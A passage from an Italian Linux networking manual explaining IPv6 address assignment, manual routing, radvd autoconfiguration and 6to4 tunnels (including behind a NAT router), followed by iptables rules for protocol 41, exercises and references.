ip -6 address add fec0:0:0:1:2a0:24ff:fe77:4997/64 dev eth0 ↩
↪ scope site [*Invio*]

In questo caso, si nota la scelta di identificare la rete fisica a cui si connette l'interfaccia con il numero 1_{16} (fec0:0:0:1:...). Si può verificare il risultato e si osservi il fatto che si sommano assieme le informazioni dei vari indirizzi, con l'indicazione dell'ambito a cui si riferiscono (*scope*):

ifconfig eth0 [*Invio*]

```
eth0      Link encap:Ethernet  HWaddr 00:A0:24:77:49:97
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fec0::1:2a0:24ff:fe77:4997/64 Scope:Site
          inet6 addr: fe80::2a0:24ff:fe77:4997/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:31711 errors:0 dropped:0 overruns:0 frame:0
          TX packets:65557 errors:0 dropped:0 overruns:0 carrier:0
          collisions:7 txqueuelen:100
          Interrupt:11 Base address:0x300
```

ip address show dev eth0 [*Invio*]

```
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    link/ether 00:50:ba:71:d9:c1 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.1/24 brd 192.168.1.255 scope global eth0
    inet6 fec0:0:0:1:2a0:24ff:fe77:4997/64 scope site
    inet6 fe80::250:baff:fe71:d9c1/64 scope link
```

Anche con gli indirizzi site-local non è necessario dichiarare esplicitamente l'instradamento, basta indicare correttamente la lunghezza del prefisso nel momento in cui vengono assegnati alle interfacce.

route -A inet6 [*Invio*]

In base agli esempi visti fino a questo punto, si dovrebbe osservare qualcosa come l'esempio seguente:

```
Kernel IPv6 routing table
Destination                     Next Hop  Flags Metric Ref    Use Iface
::1/128                         ::        U     0      4        0 lo
fe80::2a0:24ff:fe77:4997/128    ::        U     0      236      1 lo
fe80::/64                       ::        UA    256    0        0 eth0
fec0::1:2a0:24ff:fe77:4997/128  ::        U     0      7        0 lo
fec0:0:0:1::/64                 ::        UA    256    0        0 eth0
ff00::/8                        ::        UA    256    0        0 eth0
::/0                            ::        UDA   256    0        0 eth0
```

In alternativa, con Iproute:

`#` **`ip -6 route show`** [*Invio*]

```
fe80::/64 dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
fec0:0:0:1::/64 dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
default dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
unreachable default dev lo  metric -1  error -101
```

38.14.5 Instradamento manuale

L'instradamento dei pacchetti IPv6 dovrebbe essere configurato prevalentemente in modo automatico. Eventualmente si può usare '**`route`**' specificando che si tratta di indirizzi IPv6:

`route -A inet6 add` ***indirizzo_ipv6*** / ***lunghezza_prefisso*** `dev` ***interfaccia***

Per esempio, se per qualche motivo fosse necessario stabilire in modo manuale l'instradamento della sottorete fec0:0:0:1::/64 (site-local), attraverso l'interfaccia '**`eth0`**', si potrebbe usare il comando seguente:

`#` **`route -A inet6 add fec0:0:0:1::/64 dev eth0`** [*Invio*]

Intuitivamente, per rimuovere una regola di instradamento nel modo appena visto, basta sostituire la parola chiave '**`add`**' con '**`del`**'. L'esempio seguente elimina la regola di instradamento che serve a dirigere il traffico per la sottorete fec0:0:0:1::/64 attraverso l'interfaccia '**`eth0`**':

`#` **`route -A inet6 del fec0:0:0:1::/64 dev eth0`** [*Invio*]

Naturalmente, la stessa cosa si può ottenere con Iproute. Per aggiungere l'instradamento:

`#` **`ip -6 route add to unicast fec0:0:0:1::/64 dev eth0`** [*Invio*]

Per togliere l'instradamento:

`#` **`ip -6 route del to unicast fec0:0:0:1::/64`** [*Invio*]

L'uso dei comandi mostrati per la definizione degli instradamenti a livello di collegamento, è generalmente inutile, perché ciò risulta implicito nella definizione degli indirizzi delle interfacce. Ciò che è importante è la definizione di un instradamento attraverso un router: il

meccanismo è lo stesso usato per IPv4, con la differenza che si fa riferimento a indirizzi IPv6. Per esempio, per indicare che il router raggiungibile all'indirizzo fec0:0:0:1::fffe permette di arrivare alla rete fec0:0:0:2::/64, si può usare uno dei due comandi seguenti:

```
# route -A inet6 add fec0:0:0:2::/64 gw fec0:0:0:1::fffe [Invio]
```

```
# ip -6 route add to unicast fec0:0:0:2::/64 scope site ↩
↪      via fec0:0:0:1::fffe [Invio]
```

Ecco cosa si ottiene:

```
# route -A inet6 [Invio]
```

```
...
fec0:0:0:2::/64    fec0:0:0:1::fffe        UG    1      0       0 eth0
...
```

```
# ip -6 route show [Invio]
```

```
...
fec0:0:0:2::/64 via fec0:0:0:1::fffe dev eth0  metric 1  mtu 1500 advmss 1440
...
```

38.14.6 Configurazione e instradamento automatici

Quando si utilizzano indirizzi globali (attualmente solo quelli che hanno il prefisso di formato 001_2), oppure anche validi solo nell'ambito del sito, si può fare in modo che i vari nodi configurino automaticamente le loro interfacce, con l'aiuto di router che «pubblicizzano» le informazioni sugli indirizzi da usare. A questo proposito, con GNU/Linux si può utilizzare Radvd.

Radvd,[31] corrispondente al demone '**radvd**', è un *Router advertiser daemon*, cioè un programma che si occupa di stare in attesa delle richieste (*router solicitation*) da parte dei nodi delle sottoreti connesse fisicamente al router in cui questo si trova a funzionare. A queste richieste risponde (*router advertisement*) fornendo l'indicazione del prefisso da usare per gli indirizzi di quel collegamento di rete (*link*).

L'unico impegno sta nella configurazione di Radvd attraverso il suo file di configurazione, corrispondente di solito a '/etc/radvd.conf'. All'interno di questo file si indicano i prefissi da usare per ogni collegamento di rete (vengono indicate le interfacce attraverso cui «pubblicizzarli»). Si osservi l'esempio seguente:

```
interface eth0
{
    AdvSendAdvert on;
    prefix 3ffe:ffff:0011:0002::0/64
    {
        AdvOnLink on;
        AdvAutonomous on;
    };
};
```

Viene stabilito che nel collegamento di rete corrispondente all'interfaccia '**eth0**', venga pubblicizzato il prefisso 3ffe:ffff:11:2::0/64, che in pratica corrisponde a un indirizzo unicast globale aggregabile, fissato per gli esperimenti nella fase di transizione verso IPv6 e documentato dall'RFC 2471.[32]

Con questa informazione, tutti i nodi che risultano connessi allo stesso collegamento di rete, ricevendo questa informazione, configurano le loro interfacce di rete utilizzando l'identificatore EUI-64 e aggiungono la regola di instradamento relativa. Quello che si vede sotto è l'esempio di un'interfaccia di rete già configurata con gli indirizzi *link-local* e *site-local*, avente un indirizzo globale ottenuto attraverso Radvd.

```
eth0      Link encap:Ethernet  HWaddr 00:A0:24:77:49:97
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 3ffe:ffff:11:2:2a0:24ff:fe77:4997/64 Scope:Global
          inet6 addr: fec0::1:2a0:24ff:fe77:4997/64 Scope:Site
          inet6 addr: fe80::2a0:24ff:fe77:4997/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:31711 errors:0 dropped:0 overruns:0 frame:0
          TX packets:65557 errors:0 dropped:0 overruns:0 carrier:0
          collisions:7 txqueuelen:100
          Interrupt:11 Base address:0x300
```

Per avviare il demone '**radvd**' non c'è bisogno di opzioni particolari; eventualmente può essere conveniente accertarsi di fargli leggere il file di configurazione corretto:

radvd -C /etc/radvd.conf [*Invio*]

In questo modo, si vuole indicare precisamente che il file di configurazione è '/etc/radvd.conf'.

Riquadro 38.203. Incompatibilità tra l'attribuzione automatica degli indirizzi e il ruolo di router.

Per motivi di sicurezza, il kernel Linux **non utilizza** le informazioni pubblicizzate da Radvd **se è abilitato** il *forwarding*, ovvero l'attraversamento dei pacchetti tra interfacce diverse, dal momento che ciò consentirebbe la programmazione remota del proprio elaboratore come router. Pertanto, gli elaboratori che devono configurare automaticamente le proprie interfacce di rete in base alle notizie diramate da Radvd devono essere preparati con un comando simile a quello seguente, dove l'interfaccia è quella per la quale si vuole consentire la configurazione automatica:

echo 0 > /proc/sys/net/ipv6/conf/*interfaccia*/forwarding [*Invio*]

Per la stessa ragione, può essere necessario abilitare l'uso di questo meccanismo, anche attraverso un'altra voce:

echo 1 > /proc/sys/net/ipv6/conf/*interfaccia*/accept_ra [*Invio*]

Per approfondire l'uso e la configurazione di Radvd, si consultino le pagine di manuale *radvd(8)* e *radvd.conf(5)*.

38.14.7 Tunnel 6to4

La realizzazione di un tunnel 6to4 è abbastanza semplice con l'aiuto di Iproute. Si fa riferimento a un esempio già apparso nella sezione 38.13.9, in cui l'indirizzo globale IPv4 è 1.2.3.4 e si traduce nell'indirizzo IPv6 2002:0102:0304::1.

nodo
IPv4 1.2.3.4
IPv6 2002:0102:0304::1

IPv4

router IPv6
::192.88.99.1
(::c058:6301)

Stante questa situazione, la prima cosa da fare è definire una «interfaccia-tunnel», a cui viene dato il nome di '**t6to4**' (il nome viene attribuito in modo libero):

```
# ip tunnel add name t6to4 mode sit remote any local 1.2.3.4 [Invio]
```

Intuitivamente, si comprende che '**remote any**' indica che la parte finale del tunnel non ha un indirizzo ben preciso (anycast). Con il comando seguente si può controllare di avere realizzato il tunnel correttamente:

```
# ip tunnel show name t6to4 [Invio]
```

```
t6to4: ipv6/ip  remote any  local 1.2.3.4  ttl inherit
```

Il tunnel si traduce localmente in un'interfaccia di rete virtuale, denominata '**t6to4**', la quale deve essere attivata espressamente:

```
# ip link set dev t6to4 up [Invio]
```

Si può verificare lo stato di questa interfaccia con il comando seguente:

```
# ip link show dev t6to4 [Invio]
```

```
9: t6to4@NONE: <NOARP,UP> mtu 1480 qdisc noqueue
    link/sit 1.2.3.4 brd 0.0.0.0
```

Una volta creata l'interfaccia virtuale, gli si deve attribuire l'indirizzo IPv6:

```
# ip -6 address add local 2002:0102:0304::1/64 scope global ↩
↪      dev t6to4 [Invio]
```

Si può osservare che l'interfaccia virtuale del tunnel contiene anche l'indirizzo IP ::1.2.3.4:

```
# ip -6 address show dev t6to4 [Invio]
```

```
9: t6to4@NONE: <NOARP,UP> mtu 1480 qdisc noqueue
    inet6 2002:102:304::1/64 scope global
    inet6 ::1.2.3.4/128 scope global
```

Infine, è necessario definire l'instradamento per tutti gli indirizzi unicast globali aggregabili, che si differenziano per iniziare con 001_2, pari a 2_{16}, attraverso il router «virtuale» ::192.88.99.1 (virtuale nel senso che il router reale viene determinato automaticamente):

```
# ip -6 route add to 2000::/3 via ::192.88.99.1 dev t6to4 metric 1 [Invio]
```

Per verificare, si può restringere il campo di azione alla sola destinazione desiderata:

```
# ip -6 route show to 2000::/3 [Invio]
```

```
2000::/3 via ::192.88.99.1 dev t6to4  metric 1  mtu 1480 advmss 1420
```

Da questo momento, la rete IPv6 pubblica è accessibile, anche se i tempi di risposta sono maggiori del solito, a causa del tunnel. Se si conoscono degli indirizzi IPv6 della rete pubblica, si può tentare di usare Ping o Traceroute per verificare; diversamente, è necessario disporre già di un sistema di risoluzione dei nomi in grado di consultare anche quelli abbinati a IPv6.

Per eliminare il tunnel, si procede in senso inverso: cancellando l'instradamento; disattivando l'interfaccia virtuale del tunnel; eliminando il tunnel. Ecco come:

```
# ip -6 route flush dev t6to4 [Invio]
```

```
# ip link set dev t6to4 down [Invio]
```

```
# ip tunnel del name t6to4 [Invio]
```

38.14.7.1 Inserire la rete locale in un tunnel 6to4

Se si dispone di un indirizzo IPv4 statico, è abbastanza semplice configurare l'elaboratore connesso alla rete esterna come router per collegare anche la propria rete locale. Per questo è necessario prima organizzare meglio l'indirizzo IPv6 ottenuto da IPv4. Per cominciare, nell'ipotesi di voler utilizzare anche delle sottoreti locali (cosa che comunque non viene mostrata qui), conviene utilizzare il campo SLA. Per esempio, si vuole individuare la rete locale con il numero 0007_{16}, usato nel campo SLA. La figura 38.209 rappresenta sinteticamente tutto ciò che si intende spiegare.

Figura 38.209. Esempio sintetico di una rete locale che comunica con la rete esterna IPv6 attraverso un tunnel 6to4.


```
interface eth1 {
  AdvSendAdvert on;
  prefix 2002:0102:0304:7::/64 {
    AdvOnLink on;
    AdvAutonomous on;
  };
};
```

Come si vede dalla figura, il router locale è collegato alla rete esterna attraverso l'interfaccia '**eth0**', che si suppone disponga dell'indirizzo IPv4 statico 1.2.3.4, mentre la rete locale è connessa dal lato dell'interfaccia '**eth1**'. Sull'interfaccia '**eth0**' viene creato il tunnel, come è già stato mostrato, avendo cura di usare come maschera di rete 48 bit, in modo da inserire anche il campo SLA nell'identificatore di interfaccia. Si procede in pratica nel modo seguente:

```
# ip tunnel add name t6to4 mode sit remote any local 1.2.3.4 [Invio]

# ip link set dev t6to4 up [Invio]

# ip -6 address add local 2002:0102:0304::1/48 scope global ↩
↪       dev t6to4 [Invio]

# ip -6 route add to 2000::/3 via ::192.88.99.1 dev t6to4 metric 1 [Invio]
```

Fino a questo punto è tutto normale, tranne per il fatto di avere indicato un prefisso di soli 48 bit per l'indirizzo attribuito all'interfaccia virtuale del tunnel. La fase successiva richiede l'attribuzione di indirizzi appartenenti alla rete 2002:0102:0304:7:* (ovvero 2002:0102:0304:7::/64). Per ottenere questo risultato, il router locale deve ospitare Radvd, in funzione, con la configurazione seguente:

```
interface eth1
{
    AdvSendAdvert on;
    prefix 2002:0102:0304:7::/64
    {
        AdvOnLink on;
        AdvAutonomous on;
    };
};
```

I nodi della rete locale ricevono un indirizzo IPv6 del tipo 2002:0102:0304:7:***x***:***x***:***x***:***x***/64, dove ogni ***x*** rappresenta 16 bit ottenuti dall'identificatore EUI-64; inoltre ottengono l'instradamento predefinito verso il router locale, anche se solo per mezzo di un indirizzo di tipo *link-local*.

Tuttavia, questo non basta, perché il fatto di avere già attribuito all'interfaccia virtuale del tunnel l'indirizzo 2002:0102:0304::1/48, potrebbe impedire a Radvd di assegnare all'interfaccia '**`eth1`**' del router locale un indirizzo appartenente alla rete 2002:0102:0304:7:*; inoltre, il fatto stesso che il nodo sia un router, impedisce l'attribuzione automatica dell'indirizzo (si veda la nota nel riquadro 38.203). Pertanto, è bene intervenire manualmente con un indirizzo che comunque non possa entrare in conflitto; per esempio:

```
# ip -6 address add local 2002:0102:0304:7::1/64 scope global ↩
↪      dev eth1 [Invio]
```

Inoltre, è bene ricordare di abilitare l'attraversamento dei pacchetti IPv6 nel router locale, cosa che si dovrebbe ottenere con il comando seguente:

```
# echo 1 > /proc/sys/net/ipv6/conf/all/forwarding [Invio]
```

Figura 38.211. Situazione virtuale dopo la configurazione e l'instradamento attraverso il tunnel.

IPv4
IPv6
router locale
eth0
router esterno
eth0 1.2.3.4
t6to4 2002:0102:0304::1/48
eth1 2002:0102:0304:7::1/64
t6to4
router IPv6
::192.88.99.1
(::c058:6301)
eth1
rete locale 2002:0102:0304:7::/64
nodi della rete locale, con indirizzi del tipo: 2002:0102:0304:7:x:x:x:x/64
Radvd configurato così:

```
interface eth1 {
  AdvSendAdvert on;
  prefix 2002:0102:0304:7::/64 {
    AdvOnLink on;
    AdvAutonomous on;
  };
};
```

38.14.7.2 Utilizzare un tunnel 6to4 attraverso un router NAT

Quando ci si trova in una rete con indirizzi IPv4 privati e si accede all'esterno attraverso un router NAT che non è predisposto per la gestione di IPv6 attraverso un tunnel 6to4, diventa un po' difficile la realizzazione di un tunnel di questo tipo.

Figura 38.212. Rete locale con indirizzi IPv4 privati, che accede alla rete esterna attraverso un router che non riconosce i tunnel 6to4.

La figura 38.212 cerca di descrivere questa situazione: un router NAT si interpone tra una rete locale con indirizzi 192.168.1.* e la rete esterna (si tratta probabilmente di un router ADSL); l'indirizzo IPv4 esterno del router è 1.2.3.4; nella rete locale privata si adibisce un nodo particolare a router IPv6, con lo scopo di realizzare un tunnel 6to4 che riesca ad attraversare il router IPv4.

Prima di poter spiegare come si realizza il tunnel in questo caso, è necessario comprendere come si comporta il router IPv4. I pacchetti del tunnel hanno il numero di protocollo 41, come si può leggere nel file '`/etc/protocols`' di un sistema Unix comune:

```
ip      0       IP          # internet protocol, pseudo protocol number
icmp    1       ICMP        # internet control message protocol
igmp    2       IGMP        # Internet Group Management
...
tcp     6       TCP         # transmission control protocol
...
udp     17      UDP         # user datagram protocol
...
ipv6    41      IPv6        # Internet Protocol, version 6
...
```

Il router NAT più comune, alle prese con questo protocollo, si limita a sostituire l'indirizzo IPv4 di origine con il proprio (in questo caso con l'indirizzo 1.2.3.4), ma generalmente non è in grado di dirigere correttamente il flusso di ritorno al nodo corretto (in questo caso è quello corrispondente all'indirizzo privato 192.168.1.1).

Per prima cosa, è necessario programmare il router NAT in modo da rinviare tutti i pacchetti provenienti dalla rete esterna, che non vengono riconosciuti appartenere a comunicazioni attivate dall'interno, verso il nodo che deve svolgere il ruolo di router IPv6; in questo caso verso l'indirizzo 192.168.1.1. In pratica, si deve fare in modo che tutti i pacchetti provenienti dall'esterno, che il router NAT si limiterebbe a rifiutare, vadano verso il router IPv6. A titolo di esempio viene mostrata la configurazione di un router ADSL con software Conexant, alla voce *Misc configuration* nella figura 38.214.

Figura 38.214. Configurazione della «zona demilitarizzata», ovvero «DMZ», con un router ADSL con software Conexant.

Miscellaneous Configuration

WAN side HTTP server	Disabled
FTP server	Disabled
TFTP server	Disabled
HTTP server port	80
DMZ	Enabled
DMZ HOST IP	192.168.1.1

Questa procedura è necessaria per procedere; tuttavia, non si deve dimenticare il fatto che in questo modo si espone il router IPv6 agli attacchi provenienti dalla rete esterna, pertanto deve essere controllato in qualche modo l'ingresso di tali pacchetti.

Una volta sistemate queste cose, nel nodo che deve svolgere il ruolo di router IPv6 si possono dare gli stessi comandi già descritti in precedenza, con l'eccezione del primo, che deve fare riferimento all'indirizzo IPv4 privato:

```
# ip tunnel add name t6to4 mode sit remote any local 192.168.1.1 [Invio]
```

Per completezza vengono ripetuti tutti i passaggi, tenendo conto che l'indirizzo IPv4 esterno del router NAT è 1.2.3.4, pertanto gli indirizzi IPv6 che si ottengono appartengono alla rete 2002:0102:0304::/48:

```
# ip tunnel add name t6to4 mode sit remote any local 192.168.1.1 [Invio]
```

```
# ip link set dev t6to4 up [Invio]
```

```
# ip -6 address add local 2002:0102:0304::1/48 scope global ↩
↪       dev t6to4 [Invio]
```

```
# ip -6 route add to 2000::/3 via ::192.88.99.1 dev t6to4 metric 1 [Invio]
```

Si osservi anche che in questo caso il router IPv6 dispone di una sola interfaccia di rete: '**eth0**'. Pertanto, se si suppone, come già fatto in precedenza, di voler usare indirizzi nella rete 2002:0102:0304:7::/64 nella rete locale, si potrebbe assegnare manualmente un indirizzo del genere a tale interfaccia:

```
# ip -6 address add local 2002:0102:0304:7::1/64 scope global ↩
↪       dev eth0 [Invio]
```

Infine, anche in questo caso occorre ricordare di abilitare l'attraversamento dei pacchetti IPv6 nel router IPv6, con il comando seguente:

echo 1 > /proc/sys/net/ipv6/conf/all/forwarding [*Invio*]

Per quanto riguarda Radvd, la configurazione è la stessa già vista in precedenza, riferita all'interfaccia '**eth0**':

```
interface eth0
{
    AdvSendAdvert on;
    prefix 2002:0102:0304:7::/64
    {
        AdvOnLink on;
        AdvAutonomous on;
    };
};
```

Da quanto esposto fino a questo punto, si possono comprendere due limiti di questo sistema: solo un nodo interno alla rete privata può creare un tunnel 6to4 e questo richiede anche la configurazione appropriata del router NAT, per ottenere tutti i pacchetti che altrimenti verrebbero scartati (inserendo anche un problema di sicurezza nella configurazione del nodo in questione); inoltre l'indirizzo IPv4 pubblico del router NAT deve essere statico.

Se non si dispone di un indirizzo IPv4 statico, diventa necessario costruire uno script che sia in grado di leggere l'indirizzo IPv4 ottenuto dal router creando al volo tutta la configurazione necessaria, in modo simile a quanto già visto a proposito delle connessioni PPP attraverso la linea commutata comune. Viene mostrato un esempio basato su un router ADSL con software Conexant, che offre l'informazione cercata accedendo alla pagina *http://192.168.1.254/doc/home.htm* (si intende che l'indirizzo 192.168.1.254 sia quello dell'interfaccia del router rivolta verso la rete privata). Per accedere a questa si deve fornire un nominativo utente ('**user**') e una parola d'ordine ('**password**') e per scaricarla si può usare Wget in questo modo:

wget http://user:password@192.168.1.254/doc/home.htm [*Invio*]

Della pagina ottenuta conta una riga sola:

```
<TR><TD>80.117.113.124</TD><TD>255.0.0.0</TD><TD>00:D0:41:01:1B:F7</TD></TR>
```

In questo caso esiste un modo semplice per individuarla, facendo riferimento all'indirizzo fisico, ovvero l'indirizzo Ethernet:

grep "00:D0:41:01:1B:F7" home.htm > riga [*Invio*]

Infine, si può estrarre l'indirizzo con Sed:

```
# cat riga | sed "s/^<TR><TD>//" | sed "s/<\/TD><TD>.*//" [Invio]
```

Viene proposto uno script completo, che estrae le informazioni e configura il tunnel 6to4.

```
#!/bin/sh
#
# Estrae l'indirizzo IPv4 associato all'interfaccia esterna del router
# Conexant, utilizzando l'utenza "user" e la parola d'ordine "password",
```

```
# conoscendo l'indirizzo MAC esterno del router.
#
TEMP=`wget --output-document=- http://user:password@192.168.1.254/doc/home.htm\
        | grep "00:D0:41:01:1B:F7"`
TEMP=`echo $TEMP | sed "s/^<TR><TD>//"`
TEMP=`echo $TEMP | sed "s/<\/TD><TD>.*//"`
IPV4_ADDR=$TEMP
#
# Trasforma l'indirizzo IPv4 in due indirizzi IPv6, mettendo i risultati
# nelle variabili di ambiente IPV6_ADDR_1 e IPV6_ADDR_2.
#
TEMP=`echo $IPV4_ADDR | tr "." " "`
TEMP=`printf "%02x%02x:%02x%02x" $TEMP`
IPV6_ADDR_1=2002:$TEMP:7::1
IPV6_ADDR_2=2002:$TEMP:7::2
#
# Annulla la configurazione IPv6 precedente.
#
ip -6 route flush dev t6to4
ip link set dev t6to4 down
ip tunnel del name t6to4
ip -6 address flush to 2002::/16
ip -6 address del local 2002::/16 dev eth0
#
# Crea e attiva il tunnel.
#
ip tunnel add name t6to4 mode sit remote any local 192.168.1.1
ip link set dev t6to4 up
ip -6 address add $IPV6_ADDR_1/48 dev t6to4
ip -6 route add to 2000::/3 via ::192.88.99.1 dev t6to4 metric 1
#
# Ricrea il file di configurazione di Radvd.
#
echo                                          > /etc/radvd.conf
echo interface eth0                          >> /etc/radvd.conf
echo \{                                      >> /etc/radvd.conf
echo   AdvSendAdvert on\;                    >> /etc/radvd.conf
echo   MaxRtrAdvInterval 30\;                >> /etc/radvd.conf
echo   prefix $IPV6_ADDR_2/64                >> /etc/radvd.conf
echo   \{                                    >> /etc/radvd.conf
echo       AdvOnLink on\;                    >> /etc/radvd.conf
echo       AdvAutonomous on\;                >> /etc/radvd.conf
echo       AdvValidLifetime 120\;            >> /etc/radvd.conf
echo       AdvPreferredLifetime 60\;         >> /etc/radvd.conf
echo   \}\;                                  >> /etc/radvd.conf
echo \}\;                                    >> /etc/radvd.conf
/etc/init.d/radvd stop
/etc/init.d/radvd start
#
# Aggiunge l'interfaccia verso la rete locale.
#
ip -6 address add local $IPV6_ADDR_2/64 scope global dev eth0
```

```
#
# Abilita l'attraversamento dei pacchetti IPv6.
#
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
```

Una volta verificato il funzionamento dello script, se ne può comandare l'avvio a intervalli regolari attraverso il sistema Cron (sezione 11.5).

Si tenga in considerazione che in questa sezione non sono stati analizzati i problemi di sicurezza che si creano dirigendo i pacchetti IPv4 non meglio identificati verso il router IPv6. (sezione 47.5).

La sezione 47.4.4 descrive in modo più chiaro il principio di funzionamento di un NAT.

38.14.8 Caratteristiche del tunnel per il filtro dei pacchetti IPv4

I pacchetti IPv4 utilizzati per realizzare un tunnel che contiene IPv6, sono contrassegnati dal numero di protocollo 41, che nel file '`/etc/protocols`' dovrebbe apparire indicato nel modo seguente:

```
...
tcp     6       TCP             # transmission control protocol
...
udp     17      UDP             # user datagram protocol
...
ipv6    41      IPv6            # Internet Protocol, version 6
...
```

Quando si configura un firewall, ma si utilizza un tunnel di questo tipo, occorre ricordare di consentire il traffico IPv4 con il protocollo 41. Quando si utilizza Iptables per questo scopo, si potrebbero usare dei comandi come quelli seguenti quando il tunnel viene attivato all'interno del firewall stesso:

`#` **`iptables -t filter -A INPUT -p ipv6 -s 0/0 -d 0/0 -j ACCEPT`** [*Invio*]

`#` **`iptables -t filter -A OUTPUT -p ipv6 -s 0/0 -d 0/0 -j ACCEPT`** [*Invio*]

Se invece il tunnel viene attivato in un altro elaboratore, che si trova a dover attraversare il firewall:

`#` **`iptables -t filter -A FORWARD -p ipv6 -s 0/0 -d 0/0 -j ACCEPT`** [*Invio*]

38.15 Esercitazioni

Si propongono due esercizi pratici che potrebbero rendersi utili per la comprensione del problema degli instradamenti, a livello della rete globale.

Per il primo tipo di lavoro va utilizzato Traceroute o un programma equivalente per scoprire come si articola la disposizione dei primi 10 router, a partire dal proprio collegamento a Internet. Alla fine, si dovrebbe produrre un elaborato simile a quello seguente, dove si nota anche la parte finale del nome di dominio dei nodi scoperti:

Per il secondo tipo di lavoro si utilizza come prima Traceroute o un programma equivalente, ma questa volta lo si fa per scoprire quali sono i gestori attraversati per la connessione con 10 nomi di siti differenti. Alla fine, si dovrebbe produrre un elaborato simile a quello seguente:

inizio
interbusiness.it
seabone.net
denver.cw.net
tiscali.fr
opentransit.net
infospace.com
fr.cw.net
showcable.net
netnation.com
www.usa.com
www.brazil.com
www.psg.fr

38.16 Riferimenti

- Olaf Kirch, *NAG, The Linux Network Administrators' Guide*

  ⟨*http://www.google.com/search?q=%22olaf+kirch%22+nag+%22the+linux+network+administrators+guide%22* ⟩

- Terry Dawson, *Linux NET-3-HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- S. Gai, P. L. Montessoro, P. Nicoletti, *Reti locali: dal cablaggio all'internetworking*, UTET, edizione Scuola superiore G. Reiss Romoli, 1997

- Charles Hedrick, *TCP/IP introduction*, 1987

  ⟨*http://www.ii.uib.no/~magnus/TCP.html* ⟩

- Mike Oliver, *TCP/IP Frequently Asked Questions*

  ⟨*http://www.itprc.com/tcpipfaq/* ⟩

- Paul Gortmaker, *Ethernet-HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- IEEE Standard Association, *IEEE 802 LAN/MAN Standards Committee*

  ⟨*http://grouper.ieee.org/groups/802/* ⟩

- IEEE Standard Association, *IEEE 802.3 ETHERNET WORKING GROUP*

  ⟨*http://grouper.ieee.org/groups/802/3/* ⟩

- IEEE, *Guidelines for 64-bit global identifiers (EUI-64) registration authority*, marzo 1997

  ⟨*http://standards.ieee.org/regauth/oui/tutorials/EUI64.html* ⟩

- R. Hinden, S. Deering, *RFC 2373: IP Version 6 Addressing Architecture*, 1998

  ⟨*http://www.ietf.org/rfc/rfc2373.txt* ⟩

- R. Hinden, M. O'Dell, S. Deering, *RFC 2374: An IPv6 Aggregatable Global Unicast Address Format*, 1998

  ⟨*http://www.ietf.org/rfc/rfc2374.txt* ⟩

- M. Crawford, *RFC 2464: Trasmission of IPv6 Packets over Ethernet Networks*, 1998

  ⟨*http://www.ietf.org/rfc/rfc2464.txt* ⟩

- B. Carpenter, K. Moore, *RFC 3056: Connection of IPv6 Domains via IPv4 Clouds*, 2001

  ⟨*http://www.ietf.org/rfc/rfc3056.txt* ⟩

- C. Huitema, *RFC 3068: An Anycast Prefix for 6to4 Relay Routers*, 2001

  ⟨*http://www.ietf.org/rfc/rfc3068.txt* ⟩

- Silvano Gai, *IPv6*, McGraw-Hill, 1997, ISBN 88-386-3209-X

- R. Hinden, R. Fink, J. Postel, *RFC 2471: IPv6 Testing Address Allocation*, 1998

  ⟨*http://www.ietf.org/rfc/rfc2471.txt* ⟩

- Peter Bieringer, *Linux: IPv6*

  ⟨*http://www.bieringer.de/linux/IPv6/* ⟩

- Peter Bieringer, *Linux IPv6 HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩

- *AERAsec*

  ⟨*http://ipv6.aerasec.de/* ⟩

  ⟨*http://ipv6.aerasec.de/index2.html* ⟩

- Euro6IX Consortium, *IPv6 tunnels through routers with NAT*

  ⟨*http://www.euro6ix.org/documentation/euro6ix_co_upm-consulintel_wp4_ipv6_tunnels_nat_v1_6.pdf* ⟩

  ⟨*http://ipv6.aerasec.de/index2.html* ⟩

[1] Si precisa che l'imbustamento aumenta le dimensioni del PDU, mentre si abbassa il livello a cui il PDU appartiene.

[2] Un router è predisposto normalmente per trasferire pacchetti di livello 3 di un tipo di protocollo particolare; tuttavia, nulla vieta la realizzazione di router più complessi, in grado di compiere la loro funzione anche con protocolli diversi e incompatibili, ma in tal caso rimane comunque esclusa la possibilità di «tradurre» pacchetti di un tipo di protocollo in un altro tipo di protocollo.

[3] ISA sta per *Industry standard architecture* e si riferisce al bus utilizzato dai primi «PC».

[4] In passato veniva fatta anche la scansione dell'indirizzo 360_{16}, ma l'utilizzo di questo, dal momento che poi si estende fino a $37F_{16}$, porterebbe la scheda di rete in conflitto con la porta parallela standard che di solito si trova nella posizione 378_{16}.

[5] Per questioni tecniche, la connessione PLIP consente l'uso di protocolli IPv4, ma non di IPv6.

[6] **net-tools** GNU GPL

[7] La connessione PLIP non ha niente a che fare con le interfacce Ethernet, tuttavia il programma '**`ifconfig`**' fa apparire le interfacce PLIP come se fossero Ethernet, con la differenza che si tratta di una connessione punto-punto.

[8] **net-tools** GNU GPL

[9] In caso di difficoltà si può optare per l'instradamento del nodo 127.0.0.1 soltanto, come mostrato nel seguito.

[10] Si parla di connessione broadcast.

[11] Teoricamente sarebbe possibile indicare un instradamento per ogni elaboratore che si intende raggiungere, ma questo è decisamente poco conveniente dal punto di vista pratico.

[12] **net-tools** GNU GPL

[13] **ping** UCB BSD

[14] **net-tools** GNU GPL

[15] È importante considerare il fatto che il router viene visto con l'indirizzo 192.168.1.254 sulla rete locale 192.168.1.0. L'interfaccia del router connessa con l'altra rete locale deve avere un indirizzo diverso, confacente con l'indirizzo di quella rete.

[16] Questo instradamento dovrebbe essere già stato definito automaticamente da Ifconfig.

